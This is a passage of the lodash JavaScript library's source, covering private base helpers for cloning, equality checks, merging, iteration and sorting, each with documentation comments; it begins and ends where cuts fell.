    function baseAggregator(collection, setter, iteratee, accumulator) {
      baseEach(collection, function(value, key, collection) {
        setter(accumulator, value, iteratee(value), collection);
      });
      return accumulator;
    }

    /**
     * The base implementation of `_.assign` without support for multiple sources
     * or `customizer` functions.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @returns {Object} Returns `object`.
     */
    function baseAssign(object, source) {
      return object && copyObject(source, keys(source), object);
    }

    /**
     * The base implementation of `_.assignIn` without support for multiple sources
     * or `customizer` functions.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @returns {Object} Returns `object`.
     */
    function baseAssignIn(object, source) {
      return object && copyObject(source, keysIn(source), object);
    }

    /**
     * The base implementation of `assignValue` and `assignMergeValue` without
     * value checks.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {string} key The key of the property to assign.
     * @param {*} value The value to assign.
     */
    function baseAssignValue(object, key, value) {
      if (key == '__proto__' && defineProperty) {
        defineProperty(object, key, {
          'configurable': true,
          'enumerable': true,
          'value': value,
          'writable': true
        });
      } else {
        object[key] = value;
      }
    }

    /**
     * The base implementation of `_.at` without support for individual paths.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {string[]} paths The property paths to pick.
     * @returns {Array} Returns the picked elements.
     */
    function baseAt(object, paths) {
      var index = -1,
          length = paths.length,
          result = Array(length),
          skip = object == null;

      while (++index < length) {
        result[index] = skip ? undefined : get(object, paths[index]);
      }
      return result;
    }

    /**
     * The base implementation of `_.clamp` which doesn't coerce arguments.
     *
     * @private
     * @param {number} number The number to clamp.
     * @param {number} [lower] The lower bound.
     * @param {number} upper The upper bound.
     * @returns {number} Returns the clamped number.
     */
    function baseClamp(number, lower, upper) {
      if (number === number) {
        if (upper !== undefined) {
          number = number <= upper ? number : upper;
        }
        if (lower !== undefined) {
          number = number >= lower ? number : lower;
        }
      }
      return number;
    }

    /**
     * The base implementation of `_.clone` and `_.cloneDeep` which tracks
     * traversed objects.
     *
     * @private
     * @param {*} value The value to clone.
     * @param {boolean} bitmask The bitmask flags.
     *  1 - Deep clone
     *  2 - Flatten inherited properties
     *  4 - Clone symbols
     * @param {Function} [customizer] The function to customize cloning.
     * @param {string} [key] The key of `value`.
     * @param {Object} [object] The parent object of `value`.
     * @param {Object} [stack] Tracks traversed objects and their clone counterparts.
     * @returns {*} Returns the cloned value.
     */
    function baseClone(value, bitmask, customizer, key, object, stack) {
      var result,
          isDeep = bitmask & CLONE_DEEP_FLAG,
          isFlat = bitmask & CLONE_FLAT_FLAG,
          isFull = bitmask & CLONE_SYMBOLS_FLAG;

      if (customizer) {
        result = object ? customizer(value, key, object, stack) : customizer(value);
      }
      if (result !== undefined) {
        return result;
      }
      if (!isObject(value)) {
        return value;
      }
      var isArr = isArray(value);
      if (isArr) {
        result = initCloneArray(value);
        if (!isDeep) {
          return copyArray(value, result);
        }
      } else {
        var tag = getTag(value),
            isFunc = tag == funcTag || tag == genTag;

        if (isBuffer(value)) {
          return cloneBuffer(value, isDeep);
        }
        if (tag == objectTag || tag == argsTag || (isFunc && !object)) {
          result = (isFlat || isFunc) ? {} : initCloneObject(value);
          if (!isDeep) {
            return isFlat
              ? copySymbolsIn(value, baseAssignIn(result, value))
              : copySymbols(value, baseAssign(result, value));
          }
        } else {
          if (!cloneableTags[tag]) {
            return object ? value : {};
          }
          result = initCloneByTag(value, tag, isDeep);
        }
      }
      // Check for circular references and return its corresponding clone.
      stack || (stack = new Stack);
      var stacked = stack.get(value);
      if (stacked) {
        return stacked;
      }
      stack.set(value, result);

      if (isSet(value)) {
        value.forEach(function(subValue) {
          result.add(baseClone(subValue, bitmask, customizer, subValue, value, stack));
        });
      } else if (isMap(value)) {
        value.forEach(function(subValue, key) {
          result.set(key, baseClone(subValue, bitmask, customizer, key, value, stack));
        });
      }

      var keysFunc = isFull
        ? (isFlat ? getAllKeysIn : getAllKeys)
        : (isFlat ? keysIn : keys);

      var props = isArr ? undefined : keysFunc(value);
      arrayEach(props || value, function(subValue, key) {
        if (props) {
          key = subValue;
          subValue = value[key];
        }
        // Recursively populate clone (susceptible to call stack limits).
        assignValue(result, key, baseClone(subValue, bitmask, customizer, key, value, stack));
      });
      return result;
    }

    /**
     * The base implementation of `_.conforms` which doesn't clone `source`.
     *
     * @private
     * @param {Object} source The object of property predicates to conform to.
     * @returns {Function} Returns the new spec function.
     */
    function baseConforms(source) {
      var props = keys(source);
      return function(object) {
        return baseConformsTo(object, source, props);
      };
    }

    /**
     * The base implementation of `_.conformsTo` which accepts `props` to check.
     *
     * @private
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property predicates to conform to.
     * @returns {boolean} Returns `true` if `object` conforms, else `false`.
     */
    function baseConformsTo(object, source, props) {
      var length = props.length;
      if (object == null) {
        return !length;
      }
      object = Object(object);
      while (length--) {
        var key = props[length],
            predicate = source[key],
            value = object[key];

        if ((value === undefined && !(key in object)) || !predicate(value)) {
          return false;
        }
      }
      return true;
    }

    /**
     * The base implementation of `_.delay` and `_.defer` which accepts `args`
     * to provide to `func`.
     *
     * @private
     * @param {Function} func The function to delay.
     * @param {number} wait The number of milliseconds to delay invocation.
     * @param {Array} args The arguments to provide to `func`.
     * @returns {number|Object} Returns the timer id or timeout object.
     */
    function baseDelay(func, wait, args) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      return setTimeout(function() { func.apply(undefined, args); }, wait);
    }

    /**
     * The base implementation of methods like `_.difference` without support
     * for excluding multiple arrays or iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {Array} values The values to exclude.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     */
    function baseDifference(array, values, iteratee, comparator) {
      var index = -1,
          includes = arrayIncludes,
          isCommon = true,
          length = array.length,
          result = [],
          valuesLength = values.length;

      if (!length) {
        return result;
      }
      if (iteratee) {
        values = arrayMap(values, baseUnary(iteratee));
      }
      if (comparator) {
        includes = arrayIncludesWith;
        isCommon = false;
      }
      else if (values.length >= LARGE_ARRAY_SIZE) {
        includes = cacheHas;
        isCommon = false;
        values = new SetCache(values);
      }
      outer:
      while (++index < length) {
        var value = array[index],
            computed = iteratee == null ? value : iteratee(value);

        value = (comparator || value !== 0) ? value : 0;
        if (isCommon && computed === computed) {
          var valuesIndex = valuesLength;
          while (valuesIndex--) {
            if (values[valuesIndex] === computed) {
              continue outer;
            }
          }
          result.push(value);
        }
        else if (!includes(values, computed, comparator)) {
          result.push(value);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.forEach` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     */
    var baseEach = createBaseEach(baseForOwn);

    /**
     * The base implementation of `_.forEachRight` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     */
    var baseEachRight = createBaseEach(baseForOwnRight, true);

    /**
     * The base implementation of `_.every` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} predicate The function invoked per iteration.
     * @returns {boolean} Returns `true` if all elements pass the predicate check,
     *  else `false`
     */
    function baseEvery(collection, predicate) {
      var result = true;
      baseEach(collection, function(value, index, collection) {
        result = !!predicate(value, index, collection);
        return result;
      });
      return result;
    }

    /**
     * The base implementation of methods like `_.max` and `_.min` which accepts a
     * `comparator` to determine the extremum value.
     *
     * @private
     * @param {Array} array The array to iterate over.
     * @param {Function} iteratee The iteratee invoked per iteration.
     * @param {Function} comparator The comparator used to compare values.
     * @returns {*} Returns the extremum value.
     */
    function baseExtremum(array, iteratee, comparator) {
      var index = -1,
          length = array.length;

      while (++index < length) {
        var value = array[index],
            current = iteratee(value);

        if (current != null && (computed === undefined
              ? (current === current && !isSymbol(current))
              : comparator(current, computed)
            )) {
          var computed = current,
              result = value;
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.fill` without an iteratee call guard.
     *
     * @private
     * @param {Array} array The array to fill.
     * @param {*} value The value to fill `array` with.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns `array`.
     */
    function baseFill(array, value, start, end) {
      var length = array.length;

      start = toInteger(start);
      if (start < 0) {
        start = -start > length ? 0 : (length + start);
      }
      end = (end === undefined || end > length) ? length : toInteger(end);
      if (end < 0) {
        end += length;
      }
      end = start > end ? 0 : toLength(end);
      while (start < end) {
        array[start++] = value;
      }
      return array;
    }

    /**
     * The base implementation of `_.filter` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} predicate The function invoked per iteration.
     * @returns {Array} Returns the new filtered array.
     */
    function baseFilter(collection, predicate) {
      var result = [];
      baseEach(collection, function(value, index, collection) {
        if (predicate(value, index, collection)) {
          result.push(value);
        }
      });
      return result;
    }

    /**
     * The base implementation of `_.flatten` with support for restricting flattening.
     *
     * @private
     * @param {Array} array The array to flatten.
     * @param {number} depth The maximum recursion depth.
     * @param {boolean} [predicate=isFlattenable] The function invoked per iteration.
     * @param {boolean} [isStrict] Restrict to values that pass `predicate` checks.
     * @param {Array} [result=[]] The initial result value.
     * @returns {Array} Returns the new flattened array.
     */
    function baseFlatten(array, depth, predicate, isStrict, result) {
      var index = -1,
          length = array.length;

      predicate || (predicate = isFlattenable);
      result || (result = []);

      while (++index < length) {
        var value = array[index];
        if (depth > 0 && predicate(value)) {
          if (depth > 1) {
            // Recursively flatten arrays (susceptible to call stack limits).
            baseFlatten(value, depth - 1, predicate, isStrict, result);
          } else {
            arrayPush(result, value);
          }
        } else if (!isStrict) {
          result[result.length] = value;
        }
      }
      return result;
    }

    /**
     * The base implementation of `baseForOwn` which iterates over `object`
     * properties returned by `keysFunc` and invokes `iteratee` for each property.
     * Iteratee functions may exit iteration early by explicitly returning `false`.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @param {Function} keysFunc The function to get the keys of `object`.
     * @returns {Object} Returns `object`.
     */
    var baseFor = createBaseFor();

    /**
     * This function is like `baseFor` except that it iterates over properties
     * in the opposite order.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @param {Function} keysFunc The function to get the keys of `object`.
     * @returns {Object} Returns `object`.
     */
    var baseForRight = createBaseFor(true);

    /**
     * The base implementation of `_.forOwn` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Object} Returns `object`.
     */
    function baseForOwn(object, iteratee) {
      return object && baseFor(object, iteratee, keys);
    }

    /**
     * The base implementation of `_.forOwnRight` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Object} Returns `object`.
     */
    function baseForOwnRight(object, iteratee) {
      return object && baseForRight(object, iteratee, keys);
    }

    /**
     * The base implementation of `_.functions` which creates an array of
     * `object` function property names filtered from `props`.
     *
     * @private
     * @param {Object} object The object to inspect.
     * @param {Array} props The property names to filter.
     * @returns {Array} Returns the function names.
     */
    function baseFunctions(object, props) {
      return arrayFilter(props, function(key) {
        return isFunction(object[key]);
      });
    }

    /**
     * The base implementation of `_.get` without support for default values.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the property to get.
     * @returns {*} Returns the resolved value.
     */
    function baseGet(object, path) {
      path = castPath(path, object);

      var index = 0,
          length = path.length;

      while (object != null && index < length) {
        object = object[toKey(path[index++])];
      }
      return (index && index == length) ? object : undefined;
    }

    /**
     * The base implementation of `getAllKeys` and `getAllKeysIn` which uses
     * `keysFunc` and `symbolsFunc` to get the enumerable property names and
     * symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Function} keysFunc The function to get the keys of `object`.
     * @param {Function} symbolsFunc The function to get the symbols of `object`.
     * @returns {Array} Returns the array of property names and symbols.
     */
    function baseGetAllKeys(object, keysFunc, symbolsFunc) {
      var result = keysFunc(object);
      return isArray(object) ? result : arrayPush(result, symbolsFunc(object));
    }

    /**
     * The base implementation of `getTag` without fallbacks for buggy environments.
     *
     * @private
     * @param {*} value The value to query.
     * @returns {string} Returns the `toStringTag`.
     */
    function baseGetTag(value) {
      if (value == null) {
        return value === undefined ? undefinedTag : nullTag;
      }
      return (symToStringTag && symToStringTag in Object(value))
        ? getRawTag(value)
        : objectToString(value);
    }

    /**
     * The base implementation of `_.gt` which doesn't coerce arguments.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is greater than `other`,
     *  else `false`.
     */
    function baseGt(value, other) {
      return value > other;
    }

    /**
     * The base implementation of `_.has` without support for deep paths.
     *
     * @private
     * @param {Object} [object] The object to query.
     * @param {Array|string} key The key to check.
     * @returns {boolean} Returns `true` if `key` exists, else `false`.
     */
    function baseHas(object, key) {
      return object != null && hasOwnProperty.call(object, key);
    }

    /**
     * The base implementation of `_.hasIn` without support for deep paths.
     *
     * @private
     * @param {Object} [object] The object to query.
     * @param {Array|string} key The key to check.
     * @returns {boolean} Returns `true` if `key` exists, else `false`.
     */
    function baseHasIn(object, key) {
      return object != null && key in Object(object);
    }

    /**
     * The base implementation of `_.inRange` which doesn't coerce arguments.
     *
     * @private
     * @param {number} number The number to check.
     * @param {number} start The start of the range.
     * @param {number} end The end of the range.
     * @returns {boolean} Returns `true` if `number` is in the range, else `false`.
     */
    function baseInRange(number, start, end) {
      return number >= nativeMin(start, end) && number < nativeMax(start, end);
    }

    /**
     * The base implementation of methods like `_.intersection`, without support
     * for iteratee shorthands, that accepts an array of arrays to inspect.
     *
     * @private
     * @param {Array} arrays The arrays to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of shared values.
     */
    function baseIntersection(arrays, iteratee, comparator) {
      var includes = comparator ? arrayIncludesWith : arrayIncludes,
          length = arrays[0].length,
          othLength = arrays.length,
          othIndex = othLength,
          caches = Array(othLength),
          maxLength = Infinity,
          result = [];

      while (othIndex--) {
        var array = arrays[othIndex];
        if (othIndex && iteratee) {
          array = arrayMap(array, baseUnary(iteratee));
        }
        maxLength = nativeMin(array.length, maxLength);
        caches[othIndex] = !comparator && (iteratee || (length >= 120 && array.length >= 120))
          ? new SetCache(othIndex && array)
          : undefined;
      }
      array = arrays[0];

      var index = -1,
          seen = caches[0];

      outer:
      while (++index < length && result.length < maxLength) {
        var value = array[index],
            computed = iteratee ? iteratee(value) : value;

        value = (comparator || value !== 0) ? value : 0;
        if (!(seen
              ? cacheHas(seen, computed)
              : includes(result, computed, comparator)
            )) {
          othIndex = othLength;
          while (--othIndex) {
            var cache = caches[othIndex];
            if (!(cache
                  ? cacheHas(cache, computed)
                  : includes(arrays[othIndex], computed, comparator))
                ) {
              continue outer;
            }
          }
          if (seen) {
            seen.push(computed);
          }
          result.push(value);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.invert` and `_.invertBy` which inverts
     * `object` with values transformed by `iteratee` and set by `setter`.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} setter The function to set `accumulator` values.
     * @param {Function} iteratee The iteratee to transform values.
     * @param {Object} accumulator The initial inverted object.
     * @returns {Function} Returns `accumulator`.
     */
    function baseInverter(object, setter, iteratee, accumulator) {
      baseForOwn(object, function(value, key, object) {
        setter(accumulator, iteratee(value), key, object);
      });
      return accumulator;
    }

    /**
     * The base implementation of `_.invoke` without support for individual
     * method arguments.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the method to invoke.
     * @param {Array} args The arguments to invoke the method with.
     * @returns {*} Returns the result of the invoked method.
     */
    function baseInvoke(object, path, args) {
      path = castPath(path, object);
      object = parent(object, path);
      var func = object == null ? object : object[toKey(last(path))];
      return func == null ? undefined : apply(func, object, args);
    }

    /**
     * The base implementation of `_.isArguments`.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an `arguments` object,
     */
    function baseIsArguments(value) {
      return isObjectLike(value) && baseGetTag(value) == argsTag;
    }

    /**
     * The base implementation of `_.isArrayBuffer` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
     */
    function baseIsArrayBuffer(value) {
      return isObjectLike(value) && baseGetTag(value) == arrayBufferTag;
    }

    /**
     * The base implementation of `_.isDate` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a date object, else `false`.
     */
    function baseIsDate(value) {
      return isObjectLike(value) && baseGetTag(value) == dateTag;
    }

    /**
     * The base implementation of `_.isEqual` which supports partial comparisons
     * and tracks traversed objects.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @param {boolean} bitmask The bitmask flags.
     *  1 - Unordered comparison
     *  2 - Partial comparison
     * @param {Function} [customizer] The function to customize comparisons.
     * @param {Object} [stack] Tracks traversed `value` and `other` objects.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     */
    function baseIsEqual(value, other, bitmask, customizer, stack) {
      if (value === other) {
        return true;
      }
      if (value == null || other == null || (!isObjectLike(value) && !isObjectLike(other))) {
        return value !== value && other !== other;
      }
      return baseIsEqualDeep(value, other, bitmask, customizer, baseIsEqual, stack);
    }

    /**
     * A specialized version of `baseIsEqual` for arrays and objects which performs
     * deep comparisons and tracks traversed objects enabling objects with circular
     * references to be compared.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} [stack] Tracks traversed `object` and `other` objects.
     * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
     */
    function baseIsEqualDeep(object, other, bitmask, customizer, equalFunc, stack) {
      var objIsArr = isArray(object),
          othIsArr = isArray(other),
          objTag = objIsArr ? arrayTag : getTag(object),
          othTag = othIsArr ? arrayTag : getTag(other);

      objTag = objTag == argsTag ? objectTag : objTag;
      othTag = othTag == argsTag ? objectTag : othTag;

      var objIsObj = objTag == objectTag,
          othIsObj = othTag == objectTag,
          isSameTag = objTag == othTag;

      if (isSameTag && isBuffer(object)) {
        if (!isBuffer(other)) {
          return false;
        }
        objIsArr = true;
        objIsObj = false;
      }
      if (isSameTag && !objIsObj) {
        stack || (stack = new Stack);
        return (objIsArr || isTypedArray(object))
          ? equalArrays(object, other, bitmask, customizer, equalFunc, stack)
          : equalByTag(object, other, objTag, bitmask, customizer, equalFunc, stack);
      }
      if (!(bitmask & COMPARE_PARTIAL_FLAG)) {
        var objIsWrapped = objIsObj && hasOwnProperty.call(object, '__wrapped__'),
            othIsWrapped = othIsObj && hasOwnProperty.call(other, '__wrapped__');

        if (objIsWrapped || othIsWrapped) {
          var objUnwrapped = objIsWrapped ? object.value() : object,
              othUnwrapped = othIsWrapped ? other.value() : other;

          stack || (stack = new Stack);
          return equalFunc(objUnwrapped, othUnwrapped, bitmask, customizer, stack);
        }
      }
      if (!isSameTag) {
        return false;
      }
      stack || (stack = new Stack);
      return equalObjects(object, other, bitmask, customizer, equalFunc, stack);
    }

    /**
     * The base implementation of `_.isMap` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a map, else `false`.
     */
    function baseIsMap(value) {
      return isObjectLike(value) && getTag(value) == mapTag;
    }

    /**
     * The base implementation of `_.isMatch` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property values to match.
     * @param {Array} matchData The property names, values, and compare flags to match.
     * @param {Function} [customizer] The function to customize comparisons.
     * @returns {boolean} Returns `true` if `object` is a match, else `false`.
     */
    function baseIsMatch(object, source, matchData, customizer) {
      var index = matchData.length,
          length = index,
          noCustomizer = !customizer;

      if (object == null) {
        return !length;
      }
      object = Object(object);
      while (index--) {
        var data = matchData[index];
        if ((noCustomizer && data[2])
              ? data[1] !== object[data[0]]
              : !(data[0] in object)
            ) {
          return false;
        }
      }
      while (++index < length) {
        data = matchData[index];
        var key = data[0],
            objValue = object[key],
            srcValue = data[1];

        if (noCustomizer && data[2]) {
          if (objValue === undefined && !(key in object)) {
            return false;
          }
        } else {
          var stack = new Stack;
          if (customizer) {
            var result = customizer(objValue, srcValue, key, object, source, stack);
          }
          if (!(result === undefined
                ? baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG, customizer, stack)
                : result
              )) {
            return false;
          }
        }
      }
      return true;
    }

    /**
     * The base implementation of `_.isNative` without bad shim checks.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a native function,
     *  else `false`.
     */
    function baseIsNative(value) {
      if (!isObject(value) || isMasked(value)) {
        return false;
      }
      var pattern = isFunction(value) ? reIsNative : reIsHostCtor;
      return pattern.test(toSource(value));
    }

    /**
     * The base implementation of `_.isRegExp` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
     */
    function baseIsRegExp(value) {
      return isObjectLike(value) && baseGetTag(value) == regexpTag;
    }

    /**
     * The base implementation of `_.isSet` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a set, else `false`.
     */
    function baseIsSet(value) {
      return isObjectLike(value) && getTag(value) == setTag;
    }

    /**
     * The base implementation of `_.isTypedArray` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
     */
    function baseIsTypedArray(value) {
      return isObjectLike(value) &&
        isLength(value.length) && !!typedArrayTags[baseGetTag(value)];
    }

    /**
     * The base implementation of `_.iteratee`.
     *
     * @private
     * @param {*} [value=_.identity] The value to convert to an iteratee.
     * @returns {Function} Returns the iteratee.
     */
    function baseIteratee(value) {
      // Don't store the `typeof` result in a variable to avoid a JIT bug in Safari 9.
      // See https://bugs.webkit.org/show_bug.cgi?id=156034 for more details.
      if (typeof value == 'function') {
        return value;
      }
      if (value == null) {
        return identity;
      }
      if (typeof value == 'object') {
        return isArray(value)
          ? baseMatchesProperty(value[0], value[1])
          : baseMatches(value);
      }
      return property(value);
    }

    /**
     * The base implementation of `_.keys` which doesn't treat sparse arrays as dense.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     */
    function baseKeys(object) {
      if (!isPrototype(object)) {
        return nativeKeys(object);
      }
      var result = [];
      for (var key in Object(object)) {
        if (hasOwnProperty.call(object, key) && key != 'constructor') {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.keysIn` which doesn't treat sparse arrays as dense.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     */
    function baseKeysIn(object) {
      if (!isObject(object)) {
        return nativeKeysIn(object);
      }
      var isProto = isPrototype(object),
          result = [];

      for (var key in object) {
        if (!(key == 'constructor' && (isProto || !hasOwnProperty.call(object, key)))) {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.lt` which doesn't coerce arguments.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is less than `other`,
     *  else `false`.
     */
    function baseLt(value, other) {
      return value < other;
    }

    /**
     * The base implementation of `_.map` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Array} Returns the new mapped array.
     */
    function baseMap(collection, iteratee) {
      var index = -1,
          result = isArrayLike(collection) ? Array(collection.length) : [];

      baseEach(collection, function(value, key, collection) {
        result[++index] = iteratee(value, key, collection);
      });
      return result;
    }

    /**
     * The base implementation of `_.matches` which doesn't clone `source`.
     *
     * @private
     * @param {Object} source The object of property values to match.
     * @returns {Function} Returns the new spec function.
     */
    function baseMatches(source) {
      var matchData = getMatchData(source);
      if (matchData.length == 1 && matchData[0][2]) {
        return matchesStrictComparable(matchData[0][0], matchData[0][1]);
      }
      return function(object) {
        return object === source || baseIsMatch(object, source, matchData);
      };
    }

    /**
     * The base implementation of `_.matchesProperty` which doesn't clone `srcValue`.
     *
     * @private
     * @param {string} path The path of the property to get.
     * @param {*} srcValue The value to match.
     * @returns {Function} Returns the new spec function.
     */
    function baseMatchesProperty(path, srcValue) {
      if (isKey(path) && isStrictComparable(srcValue)) {
        return matchesStrictComparable(toKey(path), srcValue);
      }
      return function(object) {
        var objValue = get(object, path);
        return (objValue === undefined && objValue === srcValue)
          ? hasIn(object, path)
          : baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG);
      };
    }

    /**
     * The base implementation of `_.merge` without support for multiple sources.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @param {number} srcIndex The index of `source`.
     * @param {Function} [customizer] The function to customize merged values.
     * @param {Object} [stack] Tracks traversed source values and their merged
     *  counterparts.
     */
    function baseMerge(object, source, srcIndex, customizer, stack) {
      if (object === source) {
        return;
      }
      baseFor(source, function(srcValue, key) {
        stack || (stack = new Stack);
        if (isObject(srcValue)) {
          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
        }
        else {
          var newValue = customizer
            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
            : undefined;

          if (newValue === undefined) {
            newValue = srcValue;
          }
          assignMergeValue(object, key, newValue);
        }
      }, keysIn);
    }

    /**
     * A specialized version of `baseMerge` for arrays and objects which performs
     * deep merges and tracks traversed objects enabling objects with circular
     * references to be merged.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @param {string} key The key of the value to merge.
     * @param {number} srcIndex The index of `source`.
     * @param {Function} mergeFunc The function to merge values.
     * @param {Function} [customizer] The function to customize assigned values.
     * @param {Object} [stack] Tracks traversed source values and their merged
     *  counterparts.
     */
    function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
      var objValue = safeGet(object, key),
          srcValue = safeGet(source, key),
          stacked = stack.get(srcValue);

      if (stacked) {
        assignMergeValue(object, key, stacked);
        return;
      }
      var newValue = customizer
        ? customizer(objValue, srcValue, (key + ''), object, source, stack)
        : undefined;

      var isCommon = newValue === undefined;

      if (isCommon) {
        var isArr = isArray(srcValue),
            isBuff = !isArr && isBuffer(srcValue),
            isTyped = !isArr && !isBuff && isTypedArray(srcValue);

        newValue = srcValue;
        if (isArr || isBuff || isTyped) {
          if (isArray(objValue)) {
            newValue = objValue;
          }
          else if (isArrayLikeObject(objValue)) {
            newValue = copyArray(objValue);
          }
          else if (isBuff) {
            isCommon = false;
            newValue = cloneBuffer(srcValue, true);
          }
          else if (isTyped) {
            isCommon = false;
            newValue = cloneTypedArray(srcValue, true);
          }
          else {
            newValue = [];
          }
        }
        else if (isPlainObject(srcValue) || isArguments(srcValue)) {
          newValue = objValue;
          if (isArguments(objValue)) {
            newValue = toPlainObject(objValue);
          }
          else if (!isObject(objValue) || isFunction(objValue)) {
            newValue = initCloneObject(srcValue);
          }
        }
        else {
          isCommon = false;
        }
      }
      if (isCommon) {
        // Recursively merge objects and arrays (susceptible to call stack limits).
        stack.set(srcValue, newValue);
        mergeFunc(newValue, srcValue, srcIndex, customizer, stack);
        stack['delete'](srcValue);
      }
      assignMergeValue(object, key, newValue);
    }

    /**
     * The base implementation of `_.nth` which doesn't coerce arguments.
     *
     * @private
     * @param {Array} array The array to query.
     * @param {number} n The index of the element to return.
     * @returns {*} Returns the nth element of `array`.
     */
    function baseNth(array, n) {
      var length = array.length;
      if (!length) {
        return;
      }
      n += n < 0 ? length : 0;
      return isIndex(n, length) ? array[n] : undefined;
    }

    /**
     * The base implementation of `_.orderBy` without param guards.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function[]|Object[]|string[]} iteratees The iteratees to sort by.
     * @param {string[]} orders The sort orders of `iteratees`.
     * @returns {Array} Returns the new sorted array.
     */
    function baseOrderBy(collection, iteratees, orders) {
      if (iteratees.length) {
        iteratees = arrayMap(iteratees, function(iteratee) {
          if (isArray(iteratee)) {
            return function(value) {
              return baseGet(value, iteratee.length === 1 ? iteratee[0] : iteratee);
            }
          }
          return iteratee;
        });
      } else {
        iteratees = [identity];
      }

      var index = -1;
      iteratees = arrayMap(iteratees, baseUnary(getIteratee()));

      var result = baseMap(collection, function(value, key, collection) {
        var criteria = arrayMap(iteratees, function(iteratee) {
          return iteratee(value);
        });
        return { 'criteria': criteria, 'index': ++index, 'value': value };
      });

      return baseSortBy(result, function(object, other) {
        return compareMultiple(object, other, orders);
      });
    }

    /**
     * The base implementation of `_.pick` without support for individual
     * property identifiers.
     *
     * @private
     * @param {Object} object The source object.
     * @param {string[]} paths The property paths to pick.
     * @returns {Object} Returns the new object.
     */
    function basePick(object, paths) {
      return basePickBy(object, paths, function(value, path) {
        return hasIn(object, path);
      });
    }

    /**
     * The base implementation of  `_.pickBy` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The source object.
     * @param {string[]} paths The property paths to pick.
     * @param {Function} predicate The function invoked per property.
     * @returns {Object} Returns the new object.
     */
    function basePickBy(object, paths, predicate) {
      var index = -1,
          length = paths.length,
          result = {};

      while (++index < length) {
